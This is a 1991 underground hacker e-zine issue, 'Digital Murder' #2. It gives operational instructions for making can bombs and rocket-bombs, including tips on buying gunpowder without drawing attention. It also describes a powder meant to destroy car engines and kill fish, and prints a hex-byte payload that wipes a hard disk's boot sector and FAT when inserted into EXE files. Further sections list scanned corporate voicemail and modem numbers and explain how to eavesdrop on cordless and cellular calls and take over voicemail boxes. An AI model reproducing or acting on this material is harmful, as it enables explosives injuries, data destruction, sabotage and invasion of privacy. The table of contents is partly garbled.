home *** CD-ROM | disk | FTP | other *** search
/ The Hacker Chronicles - A…the Computer Underground / The Hacker Chronicles - A Tour of the Computer Underground (P-80 Systems).iso / miscpub2 / dm#002.txt < prev    next >
Text File  |  1992-09-26  |  47KB  |  1,178 lines

  1. 2
  2.  
  3.  
  4.  
  5.  
  6.  
  7.   
  8.   
  9.   
  10.        ///  / ///  / /////  //  /       //    // // // ///   ///  ////  ///
  11.       /  / / /__  /   /   /  / /       ///  /// // // /  /  /  / /     /  /
  12.      /  / / /  / /   /   //// /       // // // // // ///   /  / /''   ///
  13.     ///  / //// /   /   /  / /////   //    // ///// //  \ ///  ///// //  \
  14.  
  15.  
  16.  
  17.               A Magazine for Cyberpunks and Other Hi-Tech Low-Lifes
  18.                                  
  19.  
  20.                Issue No. 02                        November '91
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  39.  
  40.             These filez are for educational and informational studies
  41.             only.  The writers for Digital Murder will not be responsible
  42.             for any use or misuse of information published in this
  43.             disk-based magazine.  The magazine and its contents are
  44.             free to the public and may be freely distributed in any
  45.             form as long as Digital Murder magazine and the author
  46.             is given credit.  
  47.  
  48.           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  49.  
  50.  
  51.                               Information is Power.
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.   
  72.   
  73.   
  74.   
  75.                            E d i t o r ' s   N o t e z
  76.                           -=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  77.  
  78.          Here it is!  Issue #2 of Digital Murder released, slightly
  79.          late,  November 25th, 1991.  It'z been hell getting everyone
  80.          motivated enough to continue a monthly 'zine but, as you can
  81.          see, it was done.
  82.  
  83.          We got a lot of positive responses from readers and have heard
  84.          that issue #1 hit 35 or so boards in the United Socialist Republic
  85.          of America and a few boards overseas (Sweden, Switzerland, and
  86.          Holland).  Thanks goes out to those few that I asked to spread
  87.          the magazine and an even larger group that spread it without me
  88.          asking. . . you know who you are.  
  89.  
  90.          Since the idea of using a P.O. Box flopped due to no one sending
  91.          us mail to it, we have closed it.  If you were thinking about
  92.          sending us a letter, sorry.  We have plans on getting an internet
  93.          address as soon as I decide where to get it.  As well as the 
  94.          internet address, we plan to start a usenet newsgroup.  We will
  95.          put a complete list of addresses to reach us at in issue #3 which
  96.          will be out December 15th.  So until issue #3 comes out, call
  97.          The Backdoor at 901.386.6455 to leave comments, submit articles,
  98.          pick up the current or previous issue, etc.
  99.  
  100.                                           - M o r p h e u s / Editor.
  101.          ---------------------------------------------------------------
  102.           D i g i t a l   M u r d e r  -  -  -  Backdoor (901)/386.6455
  103.          --------A---D-a-n-g-e-r---K-u-l-t---P-r-o-d-u-c-t-i-o-n--------
  104.  
  105.  
  106.          pg#.               I N   T H I S   I S S U E
  107.          ----              ---------------------------
  108.            3       Anachy For Sale---Neuron God & Mystic Blade's
  109.                    guide to destruction.
  110.                    
  111.            6       Virus in My Soup!---Digital Terrorist brings
  112.                    you more virus phun.
  113.                    
  114.            8       Virtual Networks---General/Technical file on a
  115.                    few fone networks.  
  116.                    
  117. É@üèèÜ5+û─╥$QYÉMonth---Zapped brings another great
  118.                    scan for your enjoyment.
  119.                    
  120.           12       Cellular Freqing---Eavesdropping on Cellular
  121.                    calls with modified scanners.
  122.                    
  123.           14       Action Systems Fone Network Info by Technysis
  124.                    
  125.           16       Heaven's Trash---Final words from Morpheus.
  126.  
  127.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.   
  138.                                                                           3
  139.                                                                            
  140.  
  141.                     - = A N A R C H Y   F O R   S A L E = -
  142.                      By: Neuron God/INFOword/Danger Kult
  143.  
  144.  
  145.  
  146.     Sticky Coolwhip
  147.     ---------------
  148.     
  149.     This first project involves three substances; Vinegar, Milk
  150.     (whole), and Cool Whip.
  151.  
  152.     Heat the milk in a pot until it comes to a VERY  low  boil.
  153.     Add vinegar until it  separates.  The  solids  are  CASEIN.
  154.     Heard of it before??  heheh.. yeah, that's  the  shit  they
  155.     used to use for superglue.  Now, all you have to do is make
  156.     a good amount of this and  mix it  with  Cool Whip.  You'll
  157.     have a fluffy white mixture which puffs up very nicely  and
  158.     is sticky as hell.
  159.  
  160.     Possible uses:
  161.                    Cake topping.  Fucks up dentures
  162.                    (and regular teeth)
  163.  
  164.                    Cover for keyhole on car.. (guess)
  165.  
  166.                    Car design solvent.  Munches the paint
  167.                    right off.
  168.  
  169.     Try freezing it.  If you've whipped it up enough, it should
  170.     be fairly liquified and will run easily.  Freezing it  will
  171.     give you a substance similar to a Jell-O pudding shit.  Try
  172.     adding food coloring and putting it on a stick.. will taste
  173.     like milk that's slightly older than God.
  174.  
  175.  
  176.  
  177.     Phun With Coke Cans
  178.     -------------------
  179.  
  180.     Hell, you could use any kind of can for these as long as ya
  181.     drain it, wash it, and let it dry WELL.  
  182.  
  183.     For this first project, you'll need to cut the  bottom  off
  184.     of one of the cans.  Really old  scissors  that  are  still
  185.     fairly sharp (and which won't be missed by, say, the  local
  186.     store) are good for cutting cans since  they  cut  straight
  187.     and quickly.  Cut the bottom off with about 1 inch of  thin
  188.     metal left to make a cup-looking thing.  Take the  scissors
  189.     and at about 1 quarter inch margins (one centimeter for the
  190.     Euros, I know it's not equivalent, but it doesn't  matter),
  191.     cut down the sides about  another  quarter inch.  Bend  the
  192.     flaps down to keep from getting cut  while  you  work  with
  193.     this thing.  If you have soldering experience,  solder  the
  194.     flaps to the inside of the can just to make sure (this also
  195.     makes it easier to use in other projects).
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.                                                                           4
  205.  
  206.  
  207.     You can make a lot of these now if you  want  because  they
  208.     will be the most-used part of the cans.  Don't  throw  away
  209.     the top part yet because the sheetmetal-type  aluminum  can
  210.     be used to make some AWESOME 'noisemakers'!! 
  211.  
  212.     Now that you have a few of these prepared, obtain some black
  213.     gunpowder.  This is sold at some weapons  shops  (especially
  214.     those which specialize in Black-Powder  or  antique-interest
  215.     weapons, or which carry  shell  packing  materials  for  the
  216.     rabid hunter who likes to repack shells). You should be able
  217.     to get this without any permits but if you buy it in excess,
  218.     questions will be asked.  To  be  safe, either  buy  packing
  219.     materials (which can also be useful if you're  the  creative
  220.     type) or buy from different stores around the area, rotating
  221.     your supplier every week.
  222.  
  223.     We can now begin on our first 'device'.  In  model  rocketry
  224.     hobby section of your local hobby store there are  specially
  225.     made engines and ignitors for these  engines.  They  can  be
  226.     used for our purposes seperately or together, so get  a  few
  227.     of them.  The ignitors are electricity-based flamers and You
  228.     will need some source of electricity (about 2-3 AA batteries
  229.     should do the trick) and some  LONG  wires  to  connect  the
  230.     flamer to the source.  Some Scotch tape (or any clear, light
  231.     weight tape) is needed to hold  the  flamers  in  place.  In
  232.     this project, you need to cut out some  of  the  scrap-metal
  233.     from the long  upper  part  of  the  cans.  One  can  should
  234.     provide at least enough for two of these devices.  Cut  just
  235.     enough of the sheet metal out to totally encircle a  medium-
  236.     powered rocket  engine  (I  like  the  A8-3  single  stagers
  237.     myself).  The engine should be large  enough  to  carry  the
  238.     weight of the metal.  When you have the  metal  cut  to  the
  239.     proper size, move the engine FAR away and solder  the  metal
  240.     into a cone.  Cut a small circle of metal just big enough to
  241.     cover one end of the cylinder and solder it  in  place.  Let
  242.     this cool OVERNIGHT just to be safe.  The engine should  now
  243.     slide into and out of the  container  easily.  Depending  on
  244.     what type of thing you want to  make, follow  the  remaining
  245.     instructions:
  246.  
  247.     1: Bomb-- To make a bomb out of this, cut another  circle  out
  248.               of the metal as though you were going  to  plug  the
  249.               second end up as well.  Cut one side of this  circle
  250.               just enough so that the igniter and wires can  still
  251.               fit correctly to the engine.  Plug the  empty  space
  252.               with something which is light but flammable, such as
  253.               toilet paper or paper towels but not too  tight.  If
  254.               you're too nervous to solder the  second  cover  on,
  255.               use something like superglue or epoxy.
  256.  
  257.     2: Rocket/bomb--  The same as above, except that you can  pack
  258.               some explosive substance at the closed  end  of  the
  259.               container, then some toilet tissue or  Kleenex  (not
  260.               very much on this one though), then the engine.  The
  261.               engine must be superglued in just at the  bottom  of
  262.               the tube where the rocket end is exposed so lift can
  263.               be achieved. 
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.                                                                           5
  271.  
  272.  
  273.               It is  advised  that  you  put  controlling
  274.               surfaces on your rocket so it will be a little  more
  275.               predictable.  Use light tape on  the  flamer  so  it
  276.               will easily release when the  rocket  lifts  off.  I
  277.               strongly recomend using some sort of launch guidance
  278.               system, such as a part of a drinking straw glued  to
  279.               the outside of the rocket and then set onto a  metal
  280.               dowell that will keep it flying straight until  it's
  281.               at a safe height.
  282.  
  283.               When the rocket reaches its top flight, it will send
  284.               out a small explosion  at  the top which will ignite
  285.               whatever you pack up there.
  286.  
  287.               The rocket works best with  custom-designed  rockets
  288.               from your hobby store, with some slight modifications,
  289.               such as an addition of the  explosive instead of a
  290.               parachute or streamer. 
  291.          
  292.               The rockets may take a few  seconds/minutes
  293.               to ignite, since some  flamers  aren't  as  good  as
  294.               others.  If you make a heavy rocket, use as  big  an
  295.               engine as it needs (you'll learn by experiment).
  296.  
  297.     Cans can also be used to make great alcohol lamps, ovens, or
  298.     bombs.  Get a flamer from the previous projects, some  dena-
  299.     tured alcohol (6xx proof!!! don't drink it!!) and  some  can
  300.     bottoms.  Drill a hole in one can bottom big enough to  work
  301.     with, but not so big as to be unpluggable.  Solder this  one
  302.     to an unmodified can bottom to make  a  container  with  two
  303.     bottoms.  The hole should be in the center of the bottom  of
  304.     one of the  cans.  Pour  the  alchohol  into  the  container
  305.     slowly through the drilled hole until it is about 3/4  full.
  306.     Put a flamer in the hole so that it just barely touches  the
  307.     alcohol.  Tape this sucker  up  good  and  superglue  it  if
  308.     possible.  The flamer should ignite the  alcohol  which  has
  309.     just enough air to burn  good,  and  the  cans  will  either
  310.     implode or explode depending on whether the  alcohol  cathes 
  311.     fire good or not.  It may just use up some of the oxygen and
  312.     create a partial  vaccum,  or  it  may  explode  and  spread
  313.     burning alcohol quite a distance.
  314.  
  315.     A full can of a carbonated drink can be fun, too.  Shake  it
  316.     up, roll it around, throw it up in the air (if you throw  it    
  317.     really high, catch it.  If not, let it hit the ground).  Try
  318.     putting it over a LOW flame on a grill.  When it  starts  to
  319.     bulge, remove it.  After doing any/all of these things, take
  320.     it to a tall building with a stairway.  If it is  like  most
  321.     stairways, there will be some space in the center where this
  322.     can be dropped.  With the combination of the pressure inside
  323.     the can and the force of it  falling,  the  impact  will  be 
  324.     quite messy (and if not found for a few days, sticky, smelly
  325.     and hazardous to the new paint job too...   heheh..)  It  is
  326.     hell to clean up.. just try to get the can to add that extra
  327.     touch to the question "What the Hell happened here?"    They
  328.     won't even know where to begin asking questions...
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.                                                                           6
  337.  
  338.  
  339.     All of these ideas can be expanded upon, modified,  or  just
  340.     plain used in unusual ways.  Remember,  always  be  creative
  341.     with your methods of destruction...  NG '91 -- InFOWOrd/ DK.
  342.  
  343.  
  344.     Awful Magic Powder - by: Mystic Blade!
  345.     ------------------
  346.     
  347.     Needed
  348.     ------
  349.             * 6 or 7 cans of Arid Extra Dry spray.
  350.             * 1 closet size mirror
  351.               * Note * You can scale this done to just a bathroom
  352.               mirror or any flat smooth surface. 
  353.  
  354.     Spray the surface of the mirror until completey solid white.
  355.  
  356.     Let it set and dry for the next 24 hrs. then scrape of the
  357.     residue.  Do this until all the Arid is gone.  You now have what's
  358.     known as Great awful magic powder.
  359.  
  360.  
  361.     One ounce of this powder per automobile gas tank will screw up an
  362.     engine.
  363.  
  364.     A single teaspoon will kill off a 10 gallon fish tank and all the fish.
  365.     
  366.     Till fun is fun....Im outta here!  *Mystic Blade*
  367.  
  368.  
  369.  
  370.                               /\/\/\/\/\/\/\/\/\/\
  371.                                An Algebra of Evil
  372.                               \/\/\/\/\/\/\/\/\/\/
  373.                               More Virus Info from
  374.                                Digital Terrorist!
  375.  
  376.     More Hard Drive Phun!
  377.     -=-=-=-=-=-=-=-=-=-=-
  378.  
  379.          Hey,  you  anarchists  trying  to learn something, This is for
  380.     you!  I just thought you might find it interesting...
  381.  
  382.     Do you know that you can destroy a hard disk by writing 18 bytes
  383.     to the end of an EXE file (you can do it with 14 but I'll just do
  384.     this for the sake of simplicity).
  385.  
  386.     Ok, to use this look for the last occurence of CD 21 (or m! in ascii)
  387.     with some type of hex/ascii editing program.  Once you have found it,
  388.     insert these hex codes after that last CD 21.  Be careful...  Don't
  389.     run this program after you have "fixed" it unless you want to re-
  390.     format your HD.  Here goes...
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400.  
  401.  
  402.                                                                           7
  403.  
  404.  
  405.     (insert these bytes of hex code in after the final m! [CD 21].
  406.     Notice that the m is ascii 205 not an equal sign (=).)
  407.  
  408.     B4 03
  409.     B0 C8
  410.     B5 00
  411.     B1 01
  412.     B6 00
  413.     B2 02    (the 02 stands for the C drive.  You can specify 00 for
  414.               A drive, or 01 for B drive, etc...   This is the drive
  415.               that you want to destroy.)
  416.     CD 13
  417.     B4 4C
  418.     CD 21
  419.   
  420.     Well, that's pretty much it.  Viruses are made in a way such as
  421.     that the virus takes code such as this and manually inserts  it
  422.     into an EXE or COM file along with the code  that  it  has  for
  423.     self replication.  Also, notice that this code is made to write
  424.     over the boot, FAT, and root directory sectors  with  just  any
  425.     ole' address out of memory...  ( whatever is in the DS  and  DX
  426.     registers at the time ).  Note that you can  also  insert  your 
  427.     code BEFORE the last CD 21 by inserting it two bytes before the
  428.     last CD 21 (those two bytes in fact should be B4 4C).  Once you
  429.     do that, you can cut this code down to 14 bytes by  eliminating
  430.     the final four bytes (B4 4C CD 21).
  431.  
  432.     File Phun
  433.     -=-=-=-=-
  434.  
  435.     Scanning files in directories, and changing the entry of the
  436.     "starting cluster" and the file size.  By  changing, I  mean
  437.     swapping with other files so, therefore, if you once had  an
  438.     EXE file called READTHG.EXE and some other files, you  would
  439.     mysteriously find that READTHG.EXE contained another EXE,  a
  440.     data file, or a text file.
  441.  
  442.     How do you do it?  No problemo...  First you ascertain  info
  443.     from the boot sector on where the  FAT  and  root  directory
  444.     sector are located which will be explained later.  Then  you
  445.     pick out the root directory sector.  Filename entries  in  a
  446.     directory sector are stored as such:
  447.  
  448.       [ Filename- 11 bytes no period!] [Attribute- 1 byte]
  449.         XX XX XX XX XX XX XX XX XX XX XX XX
  450.  
  451.         [Reserved by MS-DOS- 10 bytes] [Time/Date stamp- 4 bytes]
  452.         XX XX XX XX XX XX XX XX XX XX  [Time]  [Date]
  453.                                        XX XX   XX XX
  454.  
  455.         [Starting Cluster- 2 bytes]  [File Size- 4 bytes]
  456.         XX XX                        XX XX XX XX
  457.  
  458.         Notice that the XX's are hexadecimal numbers.
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.                                                                           8
  469.  
  470.  
  471.         1.  Filename is padded with spaces between the first eight and
  472.             the last 2. ie HELLO  DOC... It MUST be padded with spaces
  473.             if it is to be used.
  474.  
  475.         2.  Attribute: 
  476.                       Read Only-    hex 01
  477.                          Hidden-    hex 02
  478.                         Archive-    hex 20
  479.                    Subdirectory-    hex 10
  480.                    Volume Label-    hex 08
  481.                          System-    hex 04
  482.  
  483.         When these attributes are combined (say read only and hidden),
  484.         they produce hex 03, or the sum of their numbers.
  485.  
  486.         3. Time/Date stamp will almost ALWAYS be irrelevant to a good
  487.            anarchist.
  488.  
  489.         4. Starting Cluster- this is the cluster where the file  starts.
  490.            DOS reads the FAT chain and determines where ALL of that file
  491.            is but if this and file size are swapped  with  other  files, 
  492.            pandemonium will break lose.
  493.  
  494.         5. File Size- this is represented by a 4 byte binary number, the
  495.            rightmost digit being most signifigant.
  496.  
  497.         Well, that should pretty much give you plenty of information  to
  498.         do that nice little thing, or plenty of other things.
  499.  
  500.  
  501.  
  502.  
  503.                            Virtual Telephone Networks 
  504.                             General/Technical Outline
  505.                         Written and compiled by Morpheus.
  506.                        -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  507.                        
  508.  
  509.          This technical journal on Telephone Networks has been
  510.     compiled to introduce the basics of them to  newer  phreakers
  511.     yet does contain a lot of information that will interest  the
  512.     more advanced reader.
  513.  
  514.  
  515.     History of Virtual Networks
  516.     =-=-=-=-=-=-=-=-=-=-=-=-=-=
  517.  
  518.     To be honest, virtual networks are nothing new since many LDS
  519.     companies, such as AT&T, MCI, and Sprint, have been  offering
  520.     them since 1985.
  521.  
  522.     ISACOMM (now US Sprint) was the first to introduce a  virtual
  523.     network  service,  using  Satellite  Business  Systems  (SBS)
  524.     satellites as early as '84.  SBS acted as the  carrier  while
  525.     ISACOMM  was  responsible  for  promoting  and  managing  the
  526.     service.
  527.  
  528.  
  529.  
  530.  
  531.  
  532.  
  533.  
  534.                                                                           9
  535.  
  536.  
  537.     SBS introduced it's own network in early '85  and  was  later
  538.     bought by MCI.
  539.  
  540.     Also in 1985, US Telecom redifined ISACOMM  as  VPN  (Virtual
  541.     Private Network) which is now the base for Sprint.  Later on,
  542.     AT&T introduced its Software Defined Network (SDN) product.
  543.     
  544.  
  545.     AT&T's  SDN
  546.     =-=-=-=-=-=
  547.  
  548.     When a user picks up his phone at an  on-net,  dedicated  SDN
  549.     site and dials a number, the dialed digits are  sent  to  the
  550.     serving AT&T SDN office through the local network.  This  SDN
  551.     office receives the dialed digits, and notes the  originating
  552.     number via ANI (Automatic Number Identification).  This  info
  553.     is passed to the ACP (Action Control Point), which will  then
  554.     check the NCP network database for  routing  and  translation
  555.     information based on the ANI of the user.  After the check is
  556.     complete, the NCP returns appropriate routing information  to
  557.     the ACP, which encodes a billing record  and  send  the  call
  558.     through the network.
  559.  
  560.     AT&T  has  marketed  many  special  features  with  SDN.  For
  561.     example, when the NCP receives the call information from  the
  562.     originater of the call, it can screen the call  according  to
  563.     a set of valid originating numbers to see if the call is even
  564.     allowed to be sent through the network.  It can also be setup
  565.     to request an authorization code to validate  calling  privs.
  566.     It can prompt certain screened calls with preprogrammed  ann-
  567.     ouncements to provide options for routing.
  568.  
  569.     Off-net calls follow a similar procedure in which the user of
  570.     the SDN dials an off-net access number (800- or 950-) or  can
  571.     access the network through switched  equal  access.  In  this
  572.     case, the dialed digits and any code entered are screened and
  573.     sent to the ACP, and then gets instructions from the NCP.
  574.  
  575.     Whenever announcements are required, they are sent  from  the
  576.     Network Services Complex (NSC).  Thus, if the network were to
  577.     ask for an authorization code, the message would be sent from
  578.     the NSC.
  579.  
  580.     Map of SDN:
  581.     ----------                     Features
  582.                SDNCC               --------
  583.            SMS     --\--              !! 
  584.            -\-        \    +----------!!--------------+
  585.              \         >-->!-->-->->+-!!--+        A L!
  586.               \            !        ! NCP !        T D!
  587.                >-->-->-->-->-->-->->! --- !   NSC  & N!
  588.                            !        /-----\   /    T  !
  589.                            !       /       \ /        !
  590.                            !     ACP       ACP        !
  591.                            +-----/----------\---------+
  592.                                 /            \
  593.                            SDN Dialup     SDN Dialup
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.                                                                          10
  601.  
  602.  
  603.     MCI's  VNET
  604.     =-=-=-=-=-=
  605.  
  606.     This network uses three types of switches:  1) Northern Tele-
  607.     com DMS-250, 2) DEX 400, and 3) DEX 600 by Digital Switch Co.
  608.     MCI uses SS7 (signal system 7) on all of  their  intermachine
  609.     trunks.
  610.  
  611.     When a user picks up the phone and calls the  dialup,  it  is
  612.     connected into the MCI Vnet network similarly to SDN by AT&T.
  613.     The routing of a Vnet call  starts  with  a  request  from  a
  614.     digital switch to the Network Control System (NCS) for  route
  615.     information.  This request travels through one  of  the  Data
  616.     Access Points and then the NCS checks the customer's database
  617.     for routing information, call privileges, etc. and sends that
  618.     information back to the switch, again through the DAP.  After
  619.     all this, the call is sent through.
  620.  
  621.     Map of Vnet:
  622.     -----------
  623.     Dial '1' or Vnet Card Access            Calling thru Dialup
  624.     ------------!!!-------------            --------!!!--------
  625.                 !!!                                 !!!
  626.      (Telco C.O. switches call)    (Telco CO doesn't switch call)
  627.                 !!!                                 !!!
  628.          +--------------------+           +--------------------+
  629.       /<-- MCI Network Access !-----------! MCI Network Access -->\
  630.       !  +--------------------+           +--------------------+  !
  631.       !         !!!                                 !!!           !
  632.       !         !!!                                 !!!           !
  633.       \      MCI Switch                          MCI Switch      /
  634.        \                   +----------------+                   /
  635.         >-->-->-->-( DAP )-!     N.C.S.     !-( DAP )-<--<--<--<
  636.                            +----------------+
  637.  
  638.  
  639.     US Sprint's VPN
  640.     =-=-=-=-=-=-=-=
  641.  
  642.     US Sprint uses 100% fiber optic networking and uses powerful
  643.     Northern Telecom DMS-250 switches linked by SS7, with DMS300
  644.     switches as international gateways.
  645.  
  646.     When a US Sprint VPN user picks up the phone, dials a  local
  647.     VPN system, and calls through it, the call is  forwarded  to
  648.     a serving point.  That switch, through its Message  Switch &
  649.     Buffer (MSB) signaling point, sends a routing request to the
  650.     nearest Signal Transfer Point (STP).  The STP passes the re-
  651.     quest to the Database Control Point  (DCP)  for  processing.
  652.     After checking the customer's database account, the info  is
  653.     sent back to the MSB.  The call is then sent through.
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666.                                                                          11
  667.  
  668.  
  669.                      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  670.                       Digital Murder Scan 'o' de Month! 
  671.                      -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  672.           
  673.     Zapped here with another scan for all of you phone
  674.     junkies out there.  This scan, as you will see below, is of
  675.     the 233 prefix.  If you missed last month's article, it was
  676.     on the 336 prefix.  Get in touch with us. . . we have all
  677.     back issues on file.
  678.  
  679.     Prefix owned by:  AT&T
  680.  
  681.     Voice Mail Systems
  682.     ------------------
  683.     1-800-233-0010  After Business Hrs VMB
  684.     1-800-233-0065  Methodist Hospital--listen or hit 0.
  685.     1-800-233-0214  Knoll Sue's VMB--listen for menu.
  686.     1-800-233-0316  * + 4 digit boxes.
  687.     1-800-233-0407  First Trust---
  688.     1-800-233-0567  Corum 'Hell'--* or #.
  689.     1-800-233-0618  experiment with--uses 'numeric messages'
  690.     1-800-233-0713  Datanational-- *
  691.     1-800-233-0995  Griffen Services-- #  3 digit boxes
  692.     1-800-233-1000  Audix VMB
  693.     1-800-233-1106  * -- 3 digit boxes
  694.     1-800-233-1304  Aetna - */#  4dig.boxes
  695.     1-800-233-1717  4dig.boxes
  696.     1-800-233-1808  3dig.boxes
  697.     1-800-233-1903  Beacon's NW--*/# (fairly easy)
  698.     1-800-233-2025  (currently using an old VMB sys.)
  699.     1-800-233-2119  Spectrum */#  3digboxes(excld.1,2)
  700.     1-800-233-2250  Credit and Leasing Corp.  
  701.     1-800-233-2331  Billing Dept of DTOM
  702.     1-800-233-2400  Am. Murex Corp.
  703.     1-800-233-2450  Armstrong---Dictation Service...interesting
  704.     1-800-233-2520  Interesting System...
  705.     1-800-233-2617  uses Audix--listen or hit *7
  706.     1-800-233-2875  */# 3digs.boxes
  707.     1-800-233-3029  Penox Tech.--*/#
  708.     1-800-233-3200  0+1 for VMB
  709.     1-800-233-3314  ?
  710.     1-800-233-3411  0+1 for VMB
  711.     1-800-233-4007  ?
  712.     1-800-233-4606  Bank of San Fran--haven't messed w/it
  713.     1-800-233-4800  #+* ...3dig boxes
  714.     1-800-233-5969  *+ext/# for VMB
  715.     1-800-233-6269  */#
  716.     1-800-233-6300  *+x (x=dig 0-9)
  717.     1-800-233-6789  */#
  718.     1-800-233-9069  alwayz busy...couldn't verify
  719.     1-800-233-9175  same as 9069
  720.     1-800-233-9325  same as 9069
  721.     1-800-233-9477  listen for menu
  722.     1-800-233-9575  same as 9069
  723.     1-800-233-9650  same as 9069
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.                                                                          12
  733.  
  734.  
  735.     Carriers
  736.     --------
  737.     1-800-233-0037 (expected hello,:job,:data,or(cmd),as logon.(cierr 1402)
  738.     1-800-233-0692 (<<please enter logon>>)
  739.     1-800-233-0887
  740.     1-800-233-1217 (wierd pulse then carrier and kicks off line)
  741.     1-800-233-2921 (???)
  742.     1-800-233-4224 (performance 200 emulex)
  743.     1-800-233-4700 (towers perrin online -- phila  --press enter)
  744.     1-800-233-5315 (gives > prompt)
  745.  
  746.     PBXs/etc
  747.     --------
  748.     1-800-233-1925
  749.     1-800-233-3750
  750.  
  751.  
  752.     Fax's & Misc.
  753.     -------------
  754.     1-800-233-0180
  755.     1-800-233-0904
  756.     1-800-233-1210
  757.     1-800-233-2180
  758.     1-800-233-2850
  759.     1-800-233-3504
  760.     1-800-233-4479
  761.     1-800-233-5169
  762.     1-800-233-5170
  763.     1-800-233-6150
  764.  
  765.  
  766.     Thats it for this month so be watching next time for more
  767.     and hopefully more interesting numbers to play around with
  768.     so until then Ive been. . . .  Zapped!
  769.  
  770.  
  771.  
  772.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  773.                       Scanning for Phun and Information.
  774.                                  By: Chizz
  775.          -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  776.  
  777.     Scanners are wonderful toys.  They allow us to listen to info
  778.     that otherwise would be impossible to hear.  Everyone has heard
  779.     of using scanners to listen in on police and fire, but that gets
  780.     old after a while.  One can only hear so much of police calling
  781.     in stating that they are going on a doughnut break.  Now there is
  782.     a use for a scanner that is much more interesting, not to mention
  783.     fun: listening in on cordless phones and cellular phones.
  784.     One day, blackened buffered a post off of a board that listed the
  785.     10 cellular frequencies.  There are 10 for the base and 10 for
  786.     the handset.  The base frequencies are the most powerful, there-
  787.     fore these are the ones that should be put into the scanner.  I
  788.     did not except much while i reluctantly inputed the frequencies
  789.     but after I fired up and started scanning, I could not believe
  790.     my ears.  
  791.  
  792.  
  793.  
  794.  
  795.  
  796.  
  797.  
  798.                                                                          13
  799.  
  800.  
  801.     Picking up my neighbors is really quite interesting.  I have
  802.     heard everything from a woman's daughter being pregnant to a
  803.     couple owing 10,000 dollars in back taxes, and their unhappiness.
  804.     It is so easy to pick up these cordless phones that it is funny.
  805.     
  806.     Cordless phones can be picked up by any programmable scanner such
  807.     as the $139.00 Radio-Shack pro-38, 10 channel programmable.
  808.     Below is a list of the cordless phone frequencies:
  809.  
  810.            Channel                  Base                      Handset
  811.               1                    46.610                     49.670
  812.               2                    46.630                     49.845 
  813.               3                    46.670                     49.860 
  814.               4                    46.710                     49.770
  815.               5                    46.730                     49.875  
  816.               6                    46.770                     49.830 
  817.               7                    46.830                     49.890
  818.               8                    46.870                     49.930 
  819.               9                    46.930                     49.990
  820.              10                    46.970                     46.970 
  821.  
  822.     Now onto the more interesting and lively world of cellular
  823.     phones.  You must have a scanner that is 800 megahertz capable.
  824.     My personal choice is a realistic pro-34.  This is a hand-held
  825.     model that has 200 channels, built in backlit lcd, and 10 
  826.     channel temporary storage, for an effective capacity of 210
  827.     channels.  This scanner runs for about $300 bux but I bought
  828.     mine at a pawn    shop for $120.  The true cellular band is from
  829.     869.0000 mhz to 894.000 mhz.  For some reason the powers that
  830.     be convinetly omit the cellular band, instead, stopping at
  831.     868.9375 and resuming at 896.1125 on the pro-34.  If you are
  832.     happy listening to "mobile" phones, more appropriately known
  833.     as two way radios, that operate in the 800 mhz band then a
  834.     "stock" scanner is fine but if you are like me, that's just
  835.     not enough.
  836.  
  837.     I was looking through a copy of radio-electronics one day and
  838.     noticed that there was a scanner BBS.  I called this bbs and
  839.     downloaded a text file that contained the steps to modify a
  840.     pro-34 for true cellular capabilities.  There is not room here
  841.     to go into how to modify the scanner but call the Red Onion BBS
  842.     at (914) 342-4585 to get the file for this scanner or any other
  843.     scanner (they have files for all popular scanners).  After making
  844.     the modifications, you can start the search scan at 869.0000
  845.     to 894.0000. 
  846.  
  847.     If you live a large city, the cellular band is active at all times.
  848.     I have listened to calls with subjects such as drug deals,
  849.     prostitution, people growing their own dope, and a lady talking
  850.     about using dildos.  One particully funny moment was when this one
  851.     guy got into a fight with his girlfriend, went out and got drunk,
  852.     and on his way home he called up his girlfriend crying and moaning
  853.     and then he got pulled over for drunk driving.  It is also a
  854.  
  855.  
  856.  
  857.  
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864.                                                                          14 
  865.  
  866.  
  867.     good way to get information if you have a DTMF decoder.  A lot of
  868.     people that have cellular phones also have VMB's.  You can listen
  869.     in as they call their system and if you are familiar with the
  870.     system that they are on, you can call up and take over their box.
  871.  
  872.     If you think that this would be an interesting thing to do then
  873.     be sure to do it soon because in the next ten years or so all
  874.     cellular services will be switched from analog to digital making
  875.     it impossible for a conventional scanner to be able to decode the
  876.     conversations.  If you have any questions, or information that
  877.     you have found useful then please leave me mail on Digital murder's
  878.     WHQ, The Backdoor BBS at (901)/386-6455.
  879.  
  880.  
  881.  
  882.                           --------------------------------
  883.                          Disection of the ACTION Roadrunner
  884.                             Telephone Management system
  885.                           --------------------------------
  886.                                    By:Technysis
  887.  
